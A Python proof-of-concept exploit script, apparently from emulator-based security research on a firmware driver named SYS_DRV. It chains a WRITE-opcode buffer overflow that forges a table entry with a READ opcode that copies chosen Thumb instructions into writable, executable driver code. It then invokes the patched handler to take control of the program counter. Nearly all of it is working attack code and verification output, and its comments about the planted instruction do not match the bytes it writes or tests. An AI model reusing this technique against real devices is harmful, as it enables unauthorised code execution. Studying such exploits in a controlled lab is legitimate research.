1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
"""PC CONTROL attempt: use WRITE(0x3103) overflow to craft a state-2 table entry whose
content we control, then READ(0x3102) to copy that content to a SYS_DRV CODE address
(region is RWX). If the code bytes change to our chosen bytes, that is an arbitrary code
patch in a type-1 process -> PC control. Then invoke the patched handler and observe.
"""
import os,sys,struct
sys.path.insert(0,os.path.join(os.path.dirname(__file__),".."));sys.path.insert(0,os.path.dirname(__file__))
import fuzz_sysdrv as F
f=F.SysDrvFuzzer(seed=1); c=f.c
base=c.rd32(0xE0F3AC); ENT=1100
print("table base=%#x entries 1100B; respect_acl=%s init=%r"%(base,f.respect_acl,f.init_flag))
print("ptr_ok(0x3102,0)=%s (READ dst must be an allowed pointer)"%f.ptr_ok(0x3102,0))
def W(buf,v10,content):
c.write(f.req,b"\x00"*0x100)
c.wr32(f.req+0,0x3103); c.wr32(f.req+8,buf); c.wr32(f.req+12,0x44C)
c.write(buf,b"\x00"*0x2800); c.wr32(buf+0,0); c.wr32(buf+12,0); c.wr32(buf+40,v10)
c.write(buf+44,content) # body bytes copied forward from entry0+44
try: c.run_function(F.ENTRY,(f.req,2,0,0),count=4_000_000); return None
except Exception as e: return e
def R(dst,lenf=0x44C):
c.write(f.req,b"\x00"*0x100)
c.wr32(f.req+0,0x3102); c.wr32(f.req+8,dst); c.wr32(f.req+12,lenf)
try: c.run_function(F.ENTRY,(f.req,2,0,0),count=4_000_000); return None
except Exception as e: return e
buf=f.bufs[0]
TARGET=0xE0A430 # sub_E0A430, handler for opcode 0x3108 (12552)
orig=c.read(TARGET,16)
print("\ntarget code %#x original bytes: %s"%(TARGET,orig.hex()))
# craft entry1 (base+1100) via overflow from entry0: need entry1[4]=2 (state), entry1[40]=patchlen,
# and entry1[0..] = the bytes we want delivered to the code addr.
# READ copies entry1[0 .. patchlen+76] to dst. We want dst[0..2]= a Thumb UDF 0xDEFF (undefined)
# so executing the patched handler faults with an undef-insn at TARGET (proof our byte ran).
# entry1[4..8] is forced to 0x00000002 by the state field; put the meaningful insn at offset 0.
CHOSEN=0x00BADA54 # chosen PC target (unmapped -> fault addr proves control)
patch = bytearray(b"\x00"*0x60)
patch[0:4] = b"\x01\x48\x00\x47" # Thumb: LDR R0,[PC,#4] ; BX R0 (PC+4 reads TARGET+8)
patch[8:12] = CHOSEN.to_bytes(4,"little") # TARGET+8 = chosen PC (TARGET+4 is the forced state word)
patchlen = 0x40
# build the caller buffer so copied content lands entry1 fields:
# byte offset in buf == byte offset from entry0 base (copy src=buf+? ) -- W() writes content at buf+44 -> entry0+44.
# Simpler: write the WHOLE buffer region so that entry1 = base+1100 gets our layout. The memcpy copies
# from a1(=buf) to v3(=entry0=base) for v10+76 bytes. So buf[k] -> base+k. entry1=base+1100 <- buf[1100..].
# So set buf[1100+4]=2, buf[1100+40]=patchlen, buf[1100+0..]=patch (with buf[1100+4..8] overwritten by state).
def Wfull(v10):
c.write(f.req,b"\x00"*0x100)
c.wr32(f.req+0,0x3103); c.wr32(f.req+8,buf); c.wr32(f.req+12,0x44C)
c.write(buf,b"\x00"*0x2800)
c.wr32(buf+0,0); c.wr32(buf+12,0); c.wr32(buf+40,v10) # entry0 header for THIS call
# entry1 layout at buf+1100:
e1=buf+1100
c.write(e1+0, bytes(patch)) # entry1 body (incl our insn at +0)
c.wr32(e1+4, 2) # entry1 state = 2 (READ selects it)
c.wr32(e1+40, patchlen) # entry1[10] = disclosure length
c.wr32(e1+12, 0) # entry1 guard
try: c.run_function(F.ENTRY,(f.req,2,0,0),count=4_000_000); return None
except Exception as e: return e
print("\n-- WRITE call 1: plant entry0[10] big enough to span into entry1 --")
need=1100+0x60 # cover entry1 header+body
e1=Wfull(need); print(" call1:",e1," entry0[10]=%#x"%c.rd32(base+40))
print("-- WRITE call 2: overflow copies buf (incl crafted entry1) over the table --")
e2=Wfull(need); print(" call2:",e2)
print(" entry1 state(+%d+4)=%#x entry1[10]=%#x entry1[0:4]=%s"%(ENT,c.rd32(base+1100+4),c.rd32(base+1100+40),c.read(base+1100,4).hex()))
print("\n-- READ: dst = CODE %#x (RWX); copies state-2 entry content there --"%TARGET)
er=R(TARGET);
now=c.read(TARGET,16)
print(" read:",er)
print(" target code now: %s"%now.hex())
print("\n=== VERDICT ===")
print(" code bytes changed:", now!=orig)
print(" our insn 0xdefe at target[0:2]:", now[:2]==b"\xfe\xde")
if now!=orig:
print(" *** ARBITRARY CODE PATCH IN SYS_DRV (type 1, RWX) -> PC CONTROL ***")
# trigger: invoke opcode 0x3108 -> calls patched sub_E0A430 -> executes our bytes
c.write(f.req,b"\x00"*0x100); c.wr32(f.req,0x3108)
for i in range(14,20): c.wr32(f.req+4*i, 0)
try:
c.run_function(F.ENTRY,(f.req,2,0,0),count=2_000_000); print(" invoke 0x3108 after patch: returned (no fault)")
except Exception as e:
ff=c.faults[-1] if c.faults else {}
print(" invoke 0x3108 after patch -> FAULT:",e," pc=%#x kind=%s"%(ff.get('pc',0),ff.get('kind','?')))
|